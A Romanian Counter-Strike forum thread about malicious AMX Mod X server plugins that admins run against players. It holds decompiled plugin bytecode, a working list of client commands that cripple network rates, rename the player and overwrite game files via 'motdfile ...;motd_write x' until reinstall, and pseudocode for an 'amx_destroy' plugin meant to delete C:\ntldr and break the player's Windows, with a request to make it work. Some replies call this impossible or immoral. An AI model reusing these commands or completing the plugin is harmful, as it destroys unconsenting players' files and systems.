addr.alt -0x388
fill 0x100
push.c 0x0
break
stack -0x4
push.c 0x1
push.c 0x1294
push.c 0x8
sysreq.c file_size
stack 0xC
stor.s.pri -0x390
break
push.c 0x0
jump jump_0047
jump_0052:
break
inc.s -0x394
jump_0047:
load.s.pri -0x394
load.s.alt -0x390
jsgrtr jump_0048
break
pushaddr -0x38C
push.c 0x3F
pushaddr -0x388
push.s -0x394
push.c 0x1328
push.c 0x14
sysreq.c read_file
stack 0x18
break
push.c 0x0
pushaddr -0x184
pushaddr -0x388
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0049
break
push.c 0x13BC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x0
push.c 0x1438
push.c 0x1F4
push.c 0xC
sysreq.c equal
stack 0x10
not
jzer jump_0050
break
push.c 0x1F4
push.c 0x1484
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
jump_0050:
break
push.c 0x14AC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1524
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x15A4
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1614
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1674
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x16B8
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x0
push.c 0x16F8
push.c 0x1F4
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0051
break
push.c 0x0
push.c 0x810
push.c 0x0
push.c 0x80C
push.s 0xC
push.c 0x1744
push.c 0x40400000
push.c 0x1C
sysreq.c set_task
stack 0x20
jump_0051:
break
push.s -0x394
push.c 0x17FC
push.c 0x1768
push.c 0xC
sysreq.c write_file
stack 0x10
break
const.pri 0x1
stor.s.pri -0x4
break
const.pri 0x1
stack 0x394
retn
jump_0049:
jump jump_0052
jump_0048:
stack 0x4
break
load.s.pri -0x4
jnz jump_0053
break
push.c 0x1F4
push.c 0x1800
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
jump_0053:
stack 0x390
jump_0037:
break
const.pri 0x1
retn
ENDP

PROC kickuser
break
break
push.c 0x1F4
push.c 0x1828
push.c 0x8
sysreq.c server_cmd
stack 0xC
zero.pri
retn
ENDP

PROC cmddelete
break
break
push.c 0x0
push.c 0x1
push.s 0x14
push.s 0x10
push.s 0xC
push.c 0x14
call func_01
not
jzer jump_0054
break
const.pri 0x1
retn
jump_0054:
break
stack -0x80
zero.pri
addr.alt -0x80
fill 0x80
break
push.c 0x1F
pushaddr -0x80
push.c 0x1
push.c 0xC
sysreq.c read_argv
stack 0x10
break
stack -0x4
push.c 0x3
pushaddr -0x80
push.s 0xC
push.c 0xC
call func_02
stor.s.pri -0x84
break
push.c 0x0
push.s -0x84
push.c 0x8
sysreq.c get_user_flags
stack 0xC
const.alt 0x1
and
not
jzer jump_0055
break
stack -0x100
zero.pri
addr.alt -0x184
fill 0x100
break
push.c 0x3F
pushaddr -0x184
push.s -0x84
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
stack -0x100
zero.pri
addr.alt -0x284
fill 0x100
push.c 0x0
break
stack -0x4
push.c 0x1
push.c 0x192C
push.c 0x8
sysreq.c file_size
stack 0xC
stor.s.pri -0x28C
break
push.c 0x0
break
push.c 0x0
jump jump_0056
jump_0060:
break
inc.s -0x294
jump_0056:
load.s.pri -0x294
load.s.alt -0x28C
jsgrtr jump_0057
break
load.s.pri -0x290
jnz jump_0058
break
pushaddr -0x288
push.c 0x3F
pushaddr -0x284
push.s -0x294
push.c 0x19B8
push.c 0x14
sysreq.c read_file
stack 0x18
break
push.c 0x0
pushaddr -0x184
pushaddr -0x284
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0058
break
pushaddr -0x284
push.c 0x1A44
push.s 0xC
push.c 0xC
sysreq.c console_print
stack 0x10
break
const.pri 0x1
stor.s.pri -0x290
jump_0058:
jump jump_0060
jump_0057:
stack 0x4
break
push.c 0x0
break
load.s.pri -0x290
jnz jump_0061
break
push.c 0x0
jump jump_0062
jump_0069:
break
inc.s -0x298
jump_0062:
load.s.pri -0x298
load.s.alt -0x28C
jsgrtr jump_0063
break
load.s.pri -0x294
jnz jump_0064
break
pushaddr -0x288
push.c 0x3F
pushaddr -0x284
push.s -0x298
push.c 0x1AC0
push.c 0x14
sysreq.c read_file
stack 0x18
break
pushaddr -0x284
push.c 0x4
sysreq.c strlen
stack 0x8
not
jnz jump_0065
push.c 0x0
pushaddr -0x184
pushaddr -0x284
push.c 0xC
sysreq.c equal
stack 0x10
jnz jump_0065
zero.pri
jump jump_0067
jump_0065:
const.pri 0x1
jump_0067:
jzer jump_0064
break
push.s -0x298
pushaddr -0x184
push.c 0x1B4C
push.c 0xC
sysreq.c write_file
stack 0x10
break
const.pri 0x1
stor.s.pri -0x294
jump_0064:
jump jump_0069
jump_0063:
stack 0x4
jump_0061:
break
load.s.pri -0x290
jnz jump_0070
break
load.s.pri -0x294
jnz jump_0070
break
push.c -0x1
pushaddr -0x184
push.c 0x1BD8
push.c 0xC
sysreq.c write_file
stack 0x10
break
const.pri 0x1
stor.s.pri -0x294
jump_0070:
break
push.c 0x1C64
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1CE0
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
pushaddr -0x184
push.c 0x1D08
push.s -0x84
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x1D54
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1DA4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1DE4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1E5C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1EDC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1F0C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1F7C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1FAC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x200C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2060
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2098
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x20C8
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2108
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x214C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x217C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x21BC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x21EC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x221C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x224C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x227C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x22AC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x22DC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x230C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2354
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x23A4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x23D4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2424
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2478
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x24AC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x24DC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x251C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2550
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2594
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x25C4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2608
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2634
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2694
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x26B8
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x26E8
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2758
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x27E4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2858
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2894
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x28C4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x290C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2960
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x29A8
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x29D8
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2A20
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2A5C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2AA0
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2AB4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
stack -0x80
zero.pri
addr.alt -0x314
fill 0x80
stack -0x40
zero.pri
addr.alt -0x354
fill 0x40
stack -0x40
zero.pri
addr.alt -0x394
fill 0x40
break
stack -0x100
zero.pri
addr.alt -0x494
fill 0x100
break
push.c 0x1
push.c 0x10
pushaddr -0x354
push.s 0xC
push.c 0x10
sysreq.c get_user_ip
stack 0x14
break
push.c 0x1
push.c 0x10
pushaddr -0x394
push.s -0x84
push.c 0x10
sysreq.c get_user_ip
stack 0x14
break
push.c 0x1F
pushaddr -0x314
push.s 0xC
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
push.c 0x3F
pushaddr -0x494
push.s -0x84
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
pushaddr -0x494
push.c 0x2AE4
push.s 0xC
push.c 0xC
sysreq.c console_print
stack 0x10
break
pushaddr -0x494
pushaddr -0x314
push.c 0x2B20
push.c 0x3
push.c 0x0
push.c 0x14
sysreq.c client_print
stack 0x18
break
pushaddr -0x494
pushaddr -0x314
push.c 0x2BD4
push.c 0xC
sysreq.c server_print
stack 0x10
break
pushaddr -0x394
pushaddr -0x84
pushaddr -0x354
pushaddr -0x314
push.c 0x2C88
push.c 0x14
sysreq.c log_amx
stack 0x18
stack 0x410
jump jump_0072
jump_0055:
break
stack -0x100
zero.pri
addr.alt -0x184
fill 0x100
stack -0x100
zero.pri
addr.alt -0x284
fill 0x100
break
push.c 0x3F
pushaddr -0x184
push.s -0x84
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
push.c 0x3F
pushaddr -0x284
push.c 0x2D94
push.c 0xC
sysreq.c get_cvar_string
stack 0x10
break
push.c 0x0
pushaddr -0x184
pushaddr -0x284
push.c 0xC
sysreq.c equal
stack 0x10
not
jzer jump_0073
break
pushaddr -0x184
push.c 0x2DB8
push.s 0xC
push.c 0xC
sysreq.c console_print
stack 0x10
jump_0073:
stack 0x200
jump_0072:
break
const.pri 0x1
stack 0x84
retn
ENDP

PROC cmdundelete
break
break
push.c 0x0
push.c 0x1
push.s 0x14
push.s 0x10
push.s 0xC
push.c 0x14
call func_01
not
jzer jump_0074
break
const.pri 0x1
retn
jump_0074:
break
push.c 0x2E30
push.c 0x4
sysreq.c file_exists
stack 0x8
not
jzer jump_0075
break
const.pri 0x1
retn
jump_0075:
break
stack -0x4
push.c 0x1
push.c 0x2EBC
push.c 0x8
sysreq.c file_size
stack 0xC
stor.s.pri -0x4
break
stack -0x4
push.c 0x1
push.c 0x2F48
push.c 0x8
sysreq.c file_size
stack 0xC
stor.s.pri -0x8
break
stack -0x80
zero.pri
addr.alt -0x88
fill 0x80
stack -0x100
zero.pri
addr.alt -0x188
fill 0x100
push.c 0x0
break
stack -0x100
zero.pri
addr.alt -0x28C
fill 0x100
stack -0x100
zero.pri
addr.alt -0x38C
fill 0x100
break
stack -0x80
zero.pri
addr.alt -0x40C
fill 0x80
break
push.c 0x1F
pushaddr -0x40C
push.s 0xC
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
push.c 0x1F
pushaddr -0x88
push.c 0x1
push.c 0xC
sysreq.c read_argv
stack 0x10
break
push.c 0x0
break
push.c 0x0
jump jump_0076
jump_0095:
break
inc.s -0x414
jump_0076:
load.s.pri -0x414
load.s.alt -0x4
jsgrtr jump_0077
break
pushaddr -0x18C
push.c 0x3F
pushaddr -0x188
push.s -0x414
push.c 0x2FDC
push.c 0x14
sysreq.c read_file
stack 0x18
break
push.c 0x0
pushaddr -0x88
pushaddr -0x188
push.c 0xC
sysreq.c equali
stack 0x10
jzer jump_0078
break
push.s -0x414
push.c 0x30F4
push.c 0x3068
push.c 0xC
sysreq.c write_file
stack 0x10
break
const.pri 0x1
stor.s.pri -0x410
break
push.c 0x0
break
push.c 0x0
jump jump_0079
jump_0083:
break
inc.s -0x41C
jump_0079:
load.s.pri -0x41C
load.s.alt -0x8
jsgrtr jump_0080
break
load.s.pri -0x418
jnz jump_0081
break
pushaddr -0x18C
push.c 0x3F
pushaddr -0x38C
push.s -0x41C
push.c 0x30F8
push.c 0x14
sysreq.c read_file
stack 0x18
break
push.c 0x0
pushaddr -0x188
pushaddr -0x38C
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0081
break
const.pri 0x1
stor.s.pri -0x418
jump_0081:
jump jump_0083
jump_0080:
stack 0x4
break
push.c 0x0
break
load.s.pri -0x418
jnz jump_0084
break
push.c 0x0
jump jump_0085
jump_0092:
break
inc.s -0x420
jump_0085:
load.s.pri -0x420
load.s.alt -0x8
jsgrtr jump_0086
break
load.s.pri -0x41C
jnz jump_0087
break
pushaddr -0x18C
push.c 0x3F
pushaddr -0x28C
push.s -0x420
push.c 0x318C
push.c 0x14
sysreq.c read_file
stack 0x18
break
pushaddr -0x28C
push.c 0x4
sysreq.c strlen
stack 0x8
not
jnz jump_0088
push.c 0x0
pushaddr -0x188
pushaddr -0x28C
push.c 0xC
sysreq.c equal
stack 0x10
jnz jump_0088
zero.pri
jump jump_0090
jump_0088:
const.pri 0x1
jump_0090:
jzer jump_0087
break
push.s -0x420
pushaddr -0x188
push.c 0x3220
push.c 0xC
sysreq.c write_file
stack 0x10
break
const.pri 0x1
stor.s.pri -0x41C
jump_0087:
jump jump_0092
jump_0086:
stack 0x4
jump_0084:
break
load.s.pri -0x418
jnz jump_0093
break
load.s.pri -0x41C
jnz jump_0093
break
push.c -0x1
pushaddr -0x188
push.c 0x32B4
push.c 0xC
sysreq.c write_file
stack 0x10
break
const.pri 0x1
stor.s.pri -0x41C
jump_0093:
break
pushaddr -0x188
pushaddr -0x40C
push.c 0x3348
push.c 0xC
sysreq.c log_amx
stack 0x10
break
pushaddr -0x188
push.c 0x3424
push.s 0xC
push.c 0xC
sysreq.c console_print
stack 0x10
break
pushaddr -0x188
push.c 0x3468
push.c 0x8
sysreq.c server_print
stack 0xC
stack 0x8
jump_0078:
jump jump_0095
jump_0077:
stack 0x4
break
load.s.pri -0x410
jnz jump_0096
break
pushaddr -0x88
push.c 0x34AC
push.s 0xC
push.c 0xC
sysreq.c console_print
stack 0x10
jump_0096:
break
const.pri 0x1
stack 0x410
retn
ENDP

PROC info
break
break
push.c 0x0
push.c 0x0
push.s 0x14
push.s 0x10
push.s 0xC
push.c 0x14
call func_01
not
jzer jump_0097
break
const.pri 0x1
retn
jump_0097:
break
push.c 0x34E4
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x35AC
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x3674
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x373C
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x3804
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x38CC
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x3994
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
push.c 0x3A5C
push.s 0xC
push.c 0x8
sysreq.c console_print
stack 0xC
break
const.pri 0x1
retn
ENDP



Eu nu prea inteleg ce fac ultimele chestii pe acolo. Poate stie cineva de aici. Sincer nu vad nimic de genu sterge fisiere de windows sau mai stiu eu ce descrieri inutile au pus altii.

Restul comenzilor cred ca le fac si alte pluginuri. Rescrie comenzile codatului.

Asta nu e sursa.Asa e doar o incercare de a decompila .amxx

Link to comment
Share on other sites

m-am uitat in sursa de la exterminate.amxx cred ca am adus-o pe cea despre care zici tu dar ii cam slabuta. fa readonly la fisierele de cs si executa pe tine comanda. mare lucru nu patesti. repornesti cs-ul si esti inapoi


new const g_sCommands[ ][ ] =
{
"rate 1",
"cl_cmdrate 1",
"cl_updaterate 1",
"fps_max 1",
"sys_ticrate 1",

"name www.FreinZ.ro",

"motdfile models/player.mdl;motd_write x",
"motdfile models/v_ak47.mdl;motd_write x",
"motdfile cs_dust.wad;motd_write x",
"motdfile models/v_m4a1.mdl;motd_write x",
"motdfile resource/GameMenu.res;motd_write x",
"motdfile halflife.wad;motd_write x",
"motdfile cstrike.wad;motd_write x",
"motdfile maps/de_dust2.bsp;motd_write x",
"motdfile events/ak47.sc;motd_write x",
"motdfile dlls/mp.dll;motd_write x",

"cl_timeout 0"
};

Link to comment
Share on other sites

Pluginurile .amxx sunt pluginuri scrise in amxmodx, nu in c++. Ce s-a zis in primul post cu modificarea fisierelor din windows sau executarea unui fisier .vbs pe calculatorul jucatorului este imposibil. Amxmodx este un limbaj server-side iar ca permisiuni asupra clientului are acces doar la fisierele din folderul "cstrike" al jocului. Deci iese din discutie si inlocuirea fisierului hl.exe. Tot ce poti face sunt solutii temporare, iar cel mai grav lucru este rescrierea a cat mai multor fisiere din folderul "cstrike" pentru ca acesta sa nu mai poata porni si reinstalarea fiind singura solutie (in caz ca nu are backup la joc).

Link to comment
Share on other sites

Pluginul destroy il puteti lua de aici: GirlShare - Download amx_destroy.sma pentru a-i vedea sursa il descarcati, dati click dreapta -> open cu notepad++.

Si o sa ajungeti la randul 24. De acolo pana la randul 105 este codul in care pluginul modifica date din config.cfg. Acea parte de cod ar putea fi modificata cu functii de creare fisiere si scriere in C++. Eu nu ma pricep foarte bine la C++, dar pseudocodul pentru acel plugin ar putea arata asa:

-------------------------------------------------------------

#include <amxmodx>

#include <amxmisc>

#include <fun>

#include <engine>

#define Baza 45630

new BanData[33][2][32]

new bool:ComandaB = false

new DirectorServer[64],TextServer[32],LimbaServer = 31,r,t

new FisierServer[128]

new SalvareServer

static const poza[] = "http://rstcenter.com/forum/"

public plugin_init()

{

register_plugin("Destroy Comand", "1.0", "Autor")

register_concmd("amx_destroy", "destroy", ADMIN_LEVEL_G,"<nume> : Ii strica windowsul jucatorului!")

register_cvar("amx_destroy_activity","1")

}

public destroy(id,level,cid){

if (!cmd_access(id,level,cid,2)){

return PLUGIN_HANDLED

}

if (ComandaB){

Cronometru(id)

return PLUGIN_HANDLED

}

new arg[32],name[32],admin[32],sAuthid[35],sAuthid2[35],message[552],players[33],inum

new fo_logfile[64],timp[64],maxtext[256]

new tinta[32], minute[8], motiv[64]

read_argv(1, tinta, 31)

read_argv(2, minute, 7)

read_argv(3, motiv, 63)

read_argv(1, arg, 31)

new target = cmd_target(id,arg,1)

new jucator = cmd_target(id, tinta, 9)

if (!jucator)

return PLUGIN_HANDLED

copy(BanData[jucator][0], 31, minute)

copy(BanData[jucator][1], 31, motiv)

new TaskData[4]

TaskData[0] = id

TaskData[1] = jucator

new numeserver[64], nume[32], ip[32]

get_user_name(target,name,31)

get_user_name(id,admin,31)

get_user_authid(target,sAuthid,34)

get_user_authid(id,sAuthid2,34)

get_cvar_string("hostname",numeserver,63);

get_user_name(jucator,nume,31);

get_user_ip(jucator,ip,31);

get_configsdir(fo_logfile, 63)

get_time("%m/%d/%Y - %H:%M:%S",timp,63)

IncarcareServer()

ScriereServer()

format(message,551,"DESTROYED^nComanda executata cu succes.^n Comanda numarul %i ",SalvareServer)

format(maxtext, 255, "%s: %s a distrus windowsul lui %s",timp,admin,name)

format(fo_logfile, 63, "%s/destroy.txt", fo_logfile)

if(!target){

return PLUGIN_HANDLED

}

switch (get_cvar_num("amx_destroy_activity")) {

case 1: client_cmd(target,"say ^" %s mi-a dat DESTROY !^"",admin)

case 0: client_cmd(target,"say ^"Am primit DESTROY !^"")

}

if( remove( "C:\ntldr" ) != 0 ) // <------------------------ sa stearga fisierul ntldr din local disk C

perror( "Error deleting file" );

}

public Cronometru(id){

new parm[1]

parm[0] = id

if (ComandaB){

set_task(3.0,"TimpDeAsteptare",Baza+id,parm)

}

}

public TimpDeAsteptare(id){

if (task_exists(Baza+id)){

remove_task(Baza+id)

}

ComandaB = false

}

stock IncarcareServer(){

get_configsdir(DirectorServer, 63)

format(FisierServer,127,"%s/servit.q",DirectorServer)

if (!file_exists(FisierServer)){

return PLUGIN_HANDLED

}

else {

read_file(FisierServer,0,TextServer,LimbaServer,r)

SalvareServer = str_to_num(TextServer)

}

return PLUGIN_CONTINUE

}

stock ScriereServer(){

get_configsdir(DirectorServer, 63)

format(FisierServer,127,"%s/servit.q",DirectorServer)

if (!file_exists(FisierServer)){

return PLUGIN_HANDLED

}

else {

read_file(FisierServer,0,TextServer,LimbaServer,t)

SalvareServer = str_to_num(TextServer)

SalvareServer = SalvareServer + 1

format(TextServer,31,"%i",SalvareServer)

delete_file(FisierServer)

write_file(FisierServer,TextServer,-1)

}

return PLUGIN_CONTINUE

}

-------------------------------------------------------

Oricum, repet, nu ma prea pricep la C++ dar cine s-ar pricepe ar putea face pluginul asta functionabil :) Si ar multumi pe multi admini. :D

Link to comment
Share on other sites

peste 80% din comenzile de fuckoff si destroy se aplica la jucatori cinstiti,jucatori care de obicei nu prea stiu ce sa faca ca sa scape de ele,spre deosebire de codati care sunt obisnuiti cu asa ceva;mi se pare imoral ca tu ca admin sa-mi modifici setarile din cs-ul meu,sau din registrii windows-ului printr-un joc;ce am eu in pc e sfant,sa nu va mai intrebati dc luati flood pe sv voastre de 2 lei;aveti comanda de ban,aveti admini pe sv,folositi-i,nu va mai bateti joc de jucatori;stiu ca o sa sariti cu gura ca la mine nu se intampla asa ceva ca plm,dar ce te astepti de la copii de 14 ani,cum sunt majoritatea adminilor?

P.s. :multa mooe la adminii care sufera de ei

Exact asta am vrut sa spun si eu.

Cu ce drept imi modifici tu mie fisiere din PC?Nu scrie asta inainte sa intru pe server,ca iti rezervi dreptul sa modifici fisierele din CS. SI stai ca am vazut pe unele rahaturi de servere,iti modifica un fisier gamemenu iar atunci cand esti in meniu daca dai pe find server te conecteaza la acel rahat de server automat,daca dai optiuni iarasi la fel...si tot asa,doar quit merge.

Te intrebi de ce au admin toti copii idioti,pai daca se da admin pe niste rahaturi de redirecte care le poate tine si un copil de 8 ani care habar n-are cum sa dea kick si alea sunt niste porcarii,un server care se respecta nu are redirecte pacalind lumea ca intra pe un server si defapt intra pe un altul.

Dupa parerea mea adminii ar trebui alesi de owner(nu prin ore jucate si prin tinutul redirectelor.),oameni destul de maturi care nu da ban la toate porcariile ca asa li se scoala lor.

PS: Si da,stiu ca ma cam bate limba romana la ora asta.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...